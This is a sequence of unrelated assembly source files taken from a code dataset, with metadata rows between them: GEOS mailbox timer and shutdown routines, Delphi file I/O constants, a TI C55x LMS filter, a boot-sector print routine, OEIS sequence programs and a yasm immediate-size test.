; just drop it. This can happen when VMUpdate failed again after a
; timer had already started, or when mailbox is about to exit.
;
mov ax, ds:[di].MAI_adminFileUpdateUrgentTimerID
tst bp
jz doIt ; => sent by mailbox code, so do it
; regardless
cmp ax, bp
jne done ; => either ax is a different ID or ax
; is zero. Either way this timer
; event was meant to be canceled.
doIt:
;
; Turn off other pending timer, if any. (We may be trying to cancel
; the one that just expired and invoked ourselves, but who cares.)
;
tst ax
jz update ; => no pending timer
clr bx, ds:[di].MAI_adminFileUpdateUrgentTimerID
xchg bx, ds:[di].MAI_adminFileUpdateUrgentTimerHandle
call TimerStop
update:
call MailboxGetAdminFile
call VMUpdate ; ax = VMStatus
EC < jnc ok >
EC < cmp ax, VM_UPDATE_BLOCK_WAS_LOCKED >
EC < WARNING_NE ADMIN_FILE_CANT_BE_UPDATED >
EC <ok: >
cmp ax, VM_UPDATE_BLOCK_WAS_LOCKED
jne done ; => success, or some other error
;
; Start a timer to update again later.
;
mov al, TIMER_EVENT_ONE_SHOT
mov bx, ds:[OLMBH_header].LMBH_handle
mov cx, ADMIN_FILE_UPDATE_URGENT_RETRY_DELAY
call TimerStart
mov ds:[di].MAI_adminFileUpdateUrgentTimerHandle, bx
mov ds:[di].MAI_adminFileUpdateUrgentTimerID, ax
done:
ret
MAUpdateAdminFileUrgent endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAStartNextEventTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Starts a timer to call us back when it's time to do the next
interesting event in the mailbox.
CALLED BY: MSG_MA_START_NEXT_EVENT_TIMER
PASS: *ds:si = MailboxApplicationClass object
ds:di = MailboxApplicationClass instance data
dxcx = FileDateAndTime of next interesting event
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/28/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAStartNextEventTimer method dynamic MailboxApplicationClass,
MSG_MA_START_NEXT_EVENT_TIMER
;
; Do nothing if the new event is a later event than the old one.
;
mov bx, ds:[di].MAI_nextEventTimerHandle
inc bx
jz startNewTimer
dec bx
jz startNewTimer
;
; If MAI_nextEventTimerHandle is not null, either the old timer
; still hasn't expired, or it has expired but the message is
; still in our event queue. In the first case we can stop the
; old timer and start a new one. In the second case it is
; still safe to start a new timer, because when the old timer
; message finally reaches our method, it will process other
; mailbox events as well as this earlier one. When the new
; timer expires and reaches our method, it will find nothing
; to do (becasue this earlier event is already processed) and
; gracefully returns.
;
cmp cx, ds:[di].MAI_nextEventDateTime.FDAT_date
jne afterCmpTime
cmp dx, ds:[di].MAI_nextEventDateTime.FDAT_time
afterCmpTime:
jae done ; jump if new date/time is later
;
; New time is earlier. Stop old timer
;
mov ax, ds:[di].MAI_nextEventTimerID
call TimerStop ; CF set if old timer already expired
startNewTimer:
call MAStartNextEventTimerCommon
done:
ret
MAStartNextEventTimer endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAStartNextEventTimerCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Common routine to start the next-interesting-event timer.
CALLED BY: (INTERNAL) MAStartNextEventTimer
PASS: *ds:si = MailboxApplicationClass object
ds:di = MailboxApplicationClass instance data
dxcx = FileDateAndTime of new timer
RETURN: nothing
DESTROYED: ax, bx, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/28/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAStartNextEventTimerCommon proc near
class MailboxApplicationClass
movdw ds:[di].MAI_nextEventDateTime, dxcx
;
; Convert FileTime in dx to dh = hour, dl = minute
;
shr dx
shr dx
shr dx ; dh = hour
shr dl
shr dl ; dl = minute
push di ; save self offset
mov al, TIMER_EVENT_REAL_TIME
mov bx, ds:[OLMBH_header].LMBH_handle ; ^lbx:si = self
mov di, dx ; di = hour (high) and min (low)
mov dx, MSG_MA_DO_NEXT_EVENT
call TimerStart
pop di
mov ds:[di].MAI_nextEventTimerHandle, bx
mov ds:[di].MAI_nextEventTimerID, ax
ret
MAStartNextEventTimerCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MARecalcNextEventTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Recalculate the time for the next event to occur.
CALLED BY: MSG_MA_RECALC_NEXT_EVENT_TIMER
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS: timer is stopped, events may occur if we're passed their time.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/ 4/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MARecalcNextEventTimer method dynamic MailboxApplicationClass,
MSG_MA_RECALC_NEXT_EVENT_TIMER
.enter
;
; Stop any existing timer, first.
;
mov bx, -1
xchg ds:[di].MAI_nextEventTimerHandle, bx
inc bx
jz recalc
dec bx
jz recalc
mov ax, ds:[di].MAI_nextEventTimerID
call TimerStop
jc done ; => MA_DO_NEXT_EVENT is already in
; the queue, so do nothing.
recalc:
;
; Now pretend like the timer fired. This will figure out the next
; appropriate event time and schedule a timer for it. It will also
; dispatch any events that are now possible and whose time has passed.
;
mov ax, MSG_MA_DO_NEXT_EVENT
call ObjCallInstanceNoLock
done:
.leave
ret
MARecalcNextEventTimer endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADoNextEvent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Perform all the events that are scheduled to happen now or
earlier.
CALLED BY: MSG_MA_DO_NEXT_EVENT
PASS: *ds:si = MailboxApplicationClass object
ds:di = MailboxApplicationClass instance data
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: Another timer is set up for the next event in the future (if
any).
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 12/28/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MADoNextEvent method dynamic MailboxApplicationClass, MSG_MA_DO_NEXT_EVENT
;
; WARNING: These local variables must match those in InboxDoEvent and
; OutboxDoEvent!
;
currentTime local FileDateAndTime
nextEventTime local FileDateAndTime
.enter
tst ds:[di].MAI_nextEventTimerHandle
jz done ; do nothing if timer stopped and this
; is a stray message
clr ds:[di].MAI_nextEventTimerHandle
movdw ss:[nextEventTime], MAILBOX_ETERNITY
;
; Get current time. It's more convenient and accurate this way than
; using the hour/min passed with the message.
;
call TimerGetFileDateTime
movdw ss:[currentTime], dxax
;
; Go thru messages in outbox.
;
call AdminGetOutbox ; ^vbx:di = outbox DBQ
mov cx, vseg OutboxDoEvent
mov dx, offset OutboxDoEvent
call DBQEnum
;
; Go thru message in inbox.
;
call AdminGetInbox ; ^vbx:di = inbox DBQ
mov cx, vseg InboxDoEvent
mov dx, offset InboxDoEvent
call DBQEnum
;
; Schedule a timer for the next event (if any).
;
movdw dxcx, ss:[nextEventTime]
CheckHack <MAILBOX_ETERNITY eq -1>
mov ax, dx
and ax, cx
inc ax
je done ; jump if dxcx = MAILBOX_ETERNITY
mov ax, MSG_MA_START_NEXT_EVENT_TIMER
call UtilSendToMailboxApp
done:
.leave
ret
MADoNextEvent endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMetaConfirmShutdown
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If we're transmitting anything, ask the user if s/he
really wants to shutdown.
CALLED BY: MSG_META_CONFIRM_SHUTDOWN
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
bp = GCNShutdownControlType
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/ 9/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMetaConfirmShutdown method dynamic MailboxApplicationClass,
MSG_META_CONFIRM_SHUTDOWN
.enter
cmp bp, GCNSCT_UNSUSPEND
je done
;
; Prepare for confirmation/denial & see if we should even bother.
;
mov ax, SST_CONFIRM_START
call SysShutdown
jc done ; => someone else has denied,
; so do nothing.
call MainThreadCheckForThreads
jnc allowShutdown ; No threads active, so just
; allow the thing to happen,
; whatever it is.
;
; Something's happening -- confirm with the user before we allow the
; shutdown.
;
cmp bp, GCNSCT_SUSPEND
je denyShutdown ; for now, deny suspend when
; transmitting or receiving
mov si, offset uiConfirmShutdownStr
call UtilDoConfirmation
cmp ax, IC_YES
je allowShutdown
denyShutdown:
clr cx
jmp finishConfirm
allowShutdown:
mov cx, TRUE
finishConfirm:
mov ax, SST_CONFIRM_END
call SysShutdown
done:
.leave
ret
MAMetaConfirmShutdown endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMessageNotificationDone
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Take note that the application has been notified of the
message and been given a chance to do what it wants with it
CALLED BY: MSG_MA_MESSAGE_NOTIFICATION_DONE
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cxdx = MailboxMessage
bp = IACP connection to close (0 if none)
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 3/ 5/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMessageNotificationDone method dynamic MailboxApplicationClass,
MSG_MA_MESSAGE_NOTIFICATION_DONE
.enter
call MARemoveMsgReference
tst bp
jz done
clr cx
call IACPShutdown
done:
.leave
ret
MAMessageNotificationDone endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAMessageNotificationNotHandled
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Deal with having tried to deliver a message to an application
that does not handle receiving Clavin messages
CALLED BY: MSG_MA_MESSAGE_NOTIFICATION_NOT_HANDLED
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cxdx = affected message
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 3/ 5/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAMessageNotificationNotHandled method dynamic MailboxApplicationClass,
MSG_MA_MESSAGE_NOTIFICATION_NOT_HANDLED
.enter
ife _CONTROL_PANELS
;
; Just delete the thing. In theory we should tell the user about it,
; but I don't feel like writing it at the moment.
;
call MailboxDeleteMessage
else
;
; If the user's got a control panel to use, we let him/her delete the
; thing. Right?
;
endif ; !_CONTROL_PANELS
done::
.leave
ret
MAMessageNotificationNotHandled endm
MBAppCode ends
| 27.571215
| 85
| 0.615241
|
6edf92c79114ba44cfd89ea3f463e66b3b233d49
| 1,647
|
asm
|
Assembly
|
Borland/CBuilder5/Source/Vcl/fileio.asm
|
TrevorDArcyEvans/DivingMagpieSoftware
|
7ffcfef653b110e514d5db735d11be0aae9953ec
|
[
"MIT"
] | 1
|
2021-05-27T10:27:25.000Z
|
2021-05-27T10:27:25.000Z
|
Borland/CBuilder5/Source/Vcl/fileio.asm
|
TrevorDArcyEvans/Diving-Magpie-Software
|
7ffcfef653b110e514d5db735d11be0aae9953ec
|
[
"MIT"
] | null | null | null |
Borland/CBuilder5/Source/Vcl/fileio.asm
|
TrevorDArcyEvans/Diving-Magpie-Software
|
7ffcfef653b110e514d5db735d11be0aae9953ec
|
[
"MIT"
] | null | null | null |
; *******************************************************
; * *
; * Delphi Runtime Library *
; * File I/O definitions for 386 RTL *
; * *
; * Copyright (c) 1996,98 Inprise Corporation *
; * *
; *******************************************************
; File modes
fmClosed EQU 0D7B0H;
fmInput EQU 0D7B1H;
fmOutput EQU 0D7B2H;
fmInOut EQU 0D7B3H;
; ASCII equates
bell EQU 07H
bs EQU 08H
tab EQU 09H
lf EQU 0AH
cr EQU 0DH
eof EQU 1AH
del EQU 7FH
; Maximum length of a file name
fNameLen EQU 260
TextRec STRUC
Handle DD (?) ; 0
Mode DD (?) ; 4
BufSize DD (?) ; 8
BufPos DD (?) ; 12
BufEnd DD (?) ; 16
BufPtr DD (?) ; 20
OpenFunc DD (?) ; 24
InOutFunc DD (?) ; 28
FlushFunc DD (?) ; 32
CloseFunc DD (?) ; 36
UserData DB 32 DUP (?) ; 40
FileName DB fNameLen DUP (?) ; 72
Buffer DB 128 DUP (?) ;332
TextRec ENDS ;460
FileRec STRUC
Handle DD (?) ; 0
Mode DD (?) ; 4
RecSize DD (?) ; 8
Private DB 28 DUP (?) ; 12
UserData DB 32 DUP (?) ; 40
FileName DB fNameLen DUP (?) ; 72
FileRec ENDS ;332
; constants for NT GetStdHandle
STD_INPUT_HANDLE EQU -10
STD_OUTPUT_HANDLE EQU -11
STD_ERROR_HANDLE EQU -12
; constants for NT OpenFile
OF_CREATE EQU 00001000H
OF_READ EQU 00000000H
OF_WRITE EQU 00000001H
; constants for NT SetFilePointer
FILE_BEGIN EQU 0
FILE_CURRENT EQU 1
FILE_END EQU 2
; constants for NT CreateFile
GENERIC_READ EQU 80000000H
GENERIC_WRITE EQU 40000000H
FILE_SHARE_READ EQU 00000001H
FILE_SHARE_WRITE EQU 00000002H
CREATE_ALWAYS EQU 2
OPEN_EXISTING EQU 3
FILE_ATTRIBUTE_NORMAL EQU 00000080H
| 18.098901
| 57
| 0.607772
|
159a97955157df771f4e7d3e2fcf77a681b1aee9
| 145
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_mpen.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_mpen.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_mpen.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: ys_mpen.asm
Type: file
Size: 53113
Last-Modified: '2016-05-13T04:50:34Z'
SHA-1: AFD8809B886FB7B50E1B8CCEC32358A5A02ECB07
Description: null
| 20.714286
| 47
| 0.813793
|
ecd2d0fb9780125258977ea93af7e86fdecff3ac
| 274
|
asm
|
Assembly
|
asm/bootloader/print_pm.asm
|
damilolarandolph/pong-os
|
a15de254ed50f8e3f89da490cadb4faefb42dbcb
|
[
"MIT"
] | 2
|
2021-08-27T23:28:06.000Z
|
2021-08-31T09:02:47.000Z
|
asm/bootloader/print_pm.asm
|
damilolarandolph/pong-os
|
a15de254ed50f8e3f89da490cadb4faefb42dbcb
|
[
"MIT"
] | null | null | null |
asm/bootloader/print_pm.asm
|
damilolarandolph/pong-os
|
a15de254ed50f8e3f89da490cadb4faefb42dbcb
|
[
"MIT"
] | null | null | null |
[bits 32]
VIDEO_MEMORY equ 0xb8000
print_string_pm:
pusha
mov edx, VIDEO_MEMORY
mov ah, 0x0f
.printchar:
mov al, [ebx]
cmp al, 0
je .done
mov [edx], ax
add edx, 2
inc ebx
jmp .printchar
.done:
popa
ret
| 10.538462
| 25
| 0.540146
|
9cc70f44c47507ea56fc48bf6dd9f7a234cd1f95
| 5,568
|
asm
|
Assembly
|
C5515_Support_Files/C5515_Lib/dsplib_2.40.00/55x_src/DLMS.asm
|
HeroSizy/Sizy
|
89bc29940dc7666591259730b5112efd0a626043
|
[
"Unlicense"
] | null | null | null |
C5515_Support_Files/C5515_Lib/dsplib_2.40.00/55x_src/DLMS.asm
|
HeroSizy/Sizy
|
89bc29940dc7666591259730b5112efd0a626043
|
[
"Unlicense"
] | null | null | null |
C5515_Support_Files/C5515_Lib/dsplib_2.40.00/55x_src/DLMS.asm
|
HeroSizy/Sizy
|
89bc29940dc7666591259730b5112efd0a626043
|
[
"Unlicense"
] | null | null | null |
;***********************************************************
; Version 2.40.00
;***********************************************************
; Function: dlms
; Processor: C55xx
; Description: dlms fir filter
;
; Usage: short oflag = dlms(DATA *h, DATA *x, DATA *r, DATA *des,
; DATA *dbuffer, DATA step, ushort nh, ushort nx)
;
; ...where
; h[nh] Pointer to coefficient vector of size nh
; - h is stored in reverse order: h(n-1), ... h(0)
; x[nx] Pointer to input vector of size nx
; r[xn] Pointer to output data vector.
; - r can be equal to x
; des[nx] Pointer to expected-output array
; dbuffer[nh+2] Pointer to delay buffer structure
; - first element of structure is index into array
; of OLDEST data (to be overwritten with new)
; - remaining elements are modulo-addressed for
; sample 0 to nh. NOTE that this delay buffer
; yields an array length of nh+1, which is used
; for Dual-MAC operations(not used here).
; step Scale factor to control adaptation rate = 2*mu
; nh Number of filter coefficients. Filter order = nh-1.
; nx Number of input samples to process (length of input
; and output data vectors).
; oflag Overflow Flag
; - If oflag = 1, a 32-bit overflow has occured
; - If oflag = 0, a 32-bit overflow has not occured
;
; Copyright Texas instruments Inc, 2000
;
; History:
; 2.10 Rishi 08/03/2001 - optimized the code for benchmark.
;****************************************************************
.length 32767
.cpl_on
.asg 0, save_T3 ; 2*mu*error(i) variable
.asg 1, save_AR5
.asg 2, ret_addr
.asg 3, arg_nx
; register usage
; XAR0-XAR4, T0 & T1 as well as accumulators are all available to callee
; XAR0 through XAR4 are already loaded with *x, *h, *r, *des and *dbuffer
; respectively upon entry.
; While T0 and T1 are loaded with the values of STEP and NH, respectively
.asg ar0, ar_input
.asg ar1, ar_coef
.asg ar2, ar_output
.asg ar3, ar_des
.asg ar4, ar_dbuffer
.asg ar5, ar_data
.asg T0, T_step
.asg T1, T_nh
;*****************************************************************************
.def _dlms
_dlms:
; Preserve registers
;-------------------
PSH T3, AR5 ;AR5 will be used for the index into dbuffer
;T3 is needed for LMS instruction
; Set math and overflow modes
;---------------------------
; Status registers
MOV #0, mmap(ST0_55) ;all fields cleared (OVx, C, TCx)
OR #4140h, mmap(ST1_55) ;set CPL, FRCT, SXMD
AND #07940h, mmap(ST1_55) ;clear BRAF, M40, SATD, C16, 54CM, ASM
OR #0022h, mmap(ST2_55) ;AR1 & AR5 pointers put in circular mode
BCLR ARMS ;disable ARMS bit in ST2
BCLR SST ;make sure Saturate-on-STore bit in ST3 is disabled
;
; Get arguments
;---------------
MOV *ar_dbuffer+, ar_data ;set AR5 to index in data array
; of oldest input sample
MOV mmap(AR4), BSA45 ;set BSA45 to start of data buffer
; NOTE that this is the SECOND
; element of the dbuffer structure
MOV mmap(AR1), BSA01 ;copy start of coeffs to BSA01
MOV #0, ar_coef ;...then set AR0 to zero (1st coeff)
ADD #-1, *SP(arg_nx) ;sub 1 from # of inputs for loopcount
MOV *SP(arg_nx), BRC0 ;set outer loop to number of inputs-1
MOV mmap(T_nh), BK03 ;load BK03 with # of coeffs for use w/ AR2
AADD #1, T_nh
MOV mmap(T_nh), BK47 ;load BK03 with # of data samples (nh+1)
; in delay-line for use w/ AR4
ASUB #3, T_nh
MOV mmap(T_nh), BRC1 ;set inner loop to number of coeffs-2
; Loop through input data stream
;-------------------------------
StartSample:
MOV #0, AC1 ;clear AC1 for initial error term
|| RPTBLOCAL Outer_End-1 ;...while starting outer loop
MOV HI(AC1), T3 ;place error term in T3
MOV *ar_input+, *ar_data+ ;copy input -> state(0)
MPYM *ar_data+, T3, AC0 ;place first update term in AC0
|| MOV #0, AC1 ;...while clearing FIR value
LMS *ar_coef, *ar_data, AC0, AC1 ;AC0 = update coef
;AC1 = start of FIR output
|| RPTBLOCAL Inner_End-1 ;...while starting inner loop
MOV HI(AC0), *ar_coef+ ;store updated coef
|| MPYM *ar_data+, T3, AC0 ;...while calculating next update term
LMS *ar_coef, *ar_data, AC0, AC1 ;AC0 = update coef
Inner_End:
;AC1 = update of FIR output
MOV HI(AC0), *ar_coef+ ;store updated coef
|| MOV rnd(HI(AC1)), *ar_output+ ;...and store FIR output
SUB AC1, *ar_des+ << #16, AC2 ;AC2 is error amount
|| AMAR *ar_data+ ;point to oldest data sample
MPYR T_step, AC2, AC1 ;place updated mu_error term in AC1
Outer_End:
MOV ar_data, *-ar_dbuffer ;dbuffer.index = index of oldest data
; Return overflow flag
; --------------------
|| MOV #0, T0 ;store zero for return value
XCCPART OvrFlow, overflow(AC1)
|| MOV #1, T0 ;return value 1 if overflow was encountered
OvrFlow:
;
; Restore stack to previous value
; Reset status regs to restore normal C operating environment
; Return to calling function
;----------------------------------------------------------------
POP T3, AR5
;NO presumed values in ST0 by C-environment
BCLR FRCT ;clear FRCT bit in ST1 for C-environment
BSET ARMS ;set ARMS bit for C-environment
AND #0F800h, mmap(ST2_55) ;all pointers put in linear mode
;No presumed values of ST3 were modified
RET ;return to calling function
.end
;end of file. please do not remove. it is left here to ensure that no lines of code are removed by any editor
| 35.692308
| 110
| 0.606142
|
16905c6e9a7d4b557511eb06cce6dc03d2dbd34e
| 271
|
asm
|
Assembly
|
src/boot/boot_sector.asm
|
fintarin/FinOS
|
b4cddb3fa2036d20c3a7e31e9a28508e3c94f2db
|
[
"MIT"
] | 2
|
2022-01-19T00:44:10.000Z
|
2022-01-25T23:19:02.000Z
|
src/boot/boot_sector.asm
|
fintarin/FinOS
|
b4cddb3fa2036d20c3a7e31e9a28508e3c94f2db
|
[
"MIT"
] | null | null | null |
src/boot/boot_sector.asm
|
fintarin/FinOS
|
b4cddb3fa2036d20c3a7e31e9a28508e3c94f2db
|
[
"MIT"
] | 1
|
2021-12-13T19:16:27.000Z
|
2021-12-13T19:16:27.000Z
|
[ org 0x7c00 ]
mov bx, BOOT_BEGIN_MSG
call print_string
mov bx, BOOT_END_MSG
call print_string
jmp $
%include 'print_string.asm'
BOOT_BEGIN_MSG:
db 'Booting OS...', 0x0a, 0x0d, 0
BOOT_END_MSG:
db 'OS booted!', 0x0a, 0x0d, 0
times 510 - ($ - $$) db 0
dw 0xaa55
| 12.904762
| 35
| 0.686347
|
3f15d36ff26245f757a83934dec0f753ae23828b
| 735
|
asm
|
Assembly
|
programs/oeis/063/A063488.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/063/A063488.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/063/A063488.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A063488: a(n) = (2*n-1)*(n^2 -n +2)/2.
; 1,6,20,49,99,176,286,435,629,874,1176,1541,1975,2484,3074,3751,4521,5390,6364,7449,8651,9976,11430,13019,14749,16626,18656,20845,23199,25724,28426,31311,34385,37654,41124,44801,48691,52800,57134,61699,66501,71546,76840,82389,88199,94276,100626,107255,114169,121374,128876,136681,144795,153224,161974,171051,180461,190210,200304,210749,221551,232716,244250,256159,268449,281126,294196,307665,321539,335824,350526,365651,381205,397194,413624,430501,447831,465620,483874,502599,521801,541486,561660,582329,603499,625176,647366,670075,693309,717074,741376,766221,791615,817564,844074,871151,898801,927030,955844,985249
mul $0,2
add $0,1
mov $2,$0
add $2,$0
pow $0,2
add $0,7
mul $0,$2
div $0,16
| 61.25
| 616
| 0.779592
|
22f2bd51437bb88b4f39ac859dbdddedc47ec136
| 260
|
asm
|
Assembly
|
programs/oeis/152/A152756.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/152/A152756.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/152/A152756.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A152756: Bisection of A000533.
; 1,101,10001,1000001,100000001,10000000001,1000000000001,100000000000001,10000000000000001,1000000000000000001,100000000000000000001,10000000000000000000001
mul $0,2
sub $0,2
mov $1,10
pow $1,$0
mul $1,100
add $1,1
mov $0,$1
| 23.636364
| 157
| 0.796154
|
5b41bfaeb98ed595c51ba63879caf7275edc0c6c
| 1,389
|
asm
|
Assembly
|
pkgs/tools/yasm/src/modules/arch/x86/tests/imm64.asm
|
manggoguy/parsec-modified
|
d14edfb62795805c84a4280d67b50cca175b95af
|
[
"BSD-3-Clause"
] | 2,151
|
2020-04-18T07:31:17.000Z
|
2022-03-31T08:39:18.000Z
|
pkgs/tools/yasm/src/modules/arch/x86/tests/imm64.asm
|
manggoguy/parsec-modified
|
d14edfb62795805c84a4280d67b50cca175b95af
|
[
"BSD-3-Clause"
] | 395
|
2020-04-18T08:22:18.000Z
|
2021-12-08T13:04:49.000Z
|
pkgs/tools/yasm/src/modules/arch/x86/tests/imm64.asm
|
manggoguy/parsec-modified
|
d14edfb62795805c84a4280d67b50cca175b95af
|
[
"BSD-3-Clause"
] | 338
|
2020-04-18T08:03:10.000Z
|
2022-03-29T12:33:22.000Z
|
bits 64
default abs
;extern label1
label1:
label2:
mov rax, 0x1000 ; 32-bit imm
mov rax, 0x1122334455667788 ; 64-bit imm (larger than signed 32-bit)
;mov rax, 0x80000000 ; 64-bit imm (larger than signed 32-bit)
mov rax, label1 ; 32-bit imm <--- not 64-bit!
mov rax, label2 ; 32-bit imm <--- not 64-bit!
mov rax, qword 0x1000 ; 64-bit imm
mov rax, qword label1 ; 64-bit imm
mov rax, qword label2 ; 64-bit imm
mov qword [rax], 0x1000 ; 32-bit imm
mov qword [rax], 0x1122334455667788 ; 32-bit imm, overflow warning
;mov qword [rax], 0x80000000 ; 32-bit imm, overflow warning
mov qword [rax], label1 ; 32-bit imm (matches default above)
mov qword [rax], label2 ; 32-bit imm (matches default above)
add rax, 0x1000 ; 32-bit imm
add rax, 0x1122334455667788 ; 32-bit imm, overflow warning
;add rax, 0x80000000 ; 32-bit imm, overflow warning
add rax, label1 ; 32-bit imm (matches default above)
add rax, label2 ; 32-bit imm (matches default above)
mov [0x1000], rax ; 32-bit disp
mov [abs 0x1122334455667788], rax ; 64-bit disp
mov [label1], rax ; 32-bit disp
mov [label2], rax ; 32-bit disp
mov [qword 0x1000], rax ; 64-bit disp
mov [qword label1], rax ; 64-bit disp
mov [qword label2], rax ; 64-bit disp
| 38.583333
| 70
| 0.618431
|
71212fe10ca9367d8d84c531b5335f77c44e401e
| 279
|
asm
|
Assembly
|
programs/oeis/118/A118640.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/118/A118640.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/118/A118640.asm
|
neoneye/loda
|
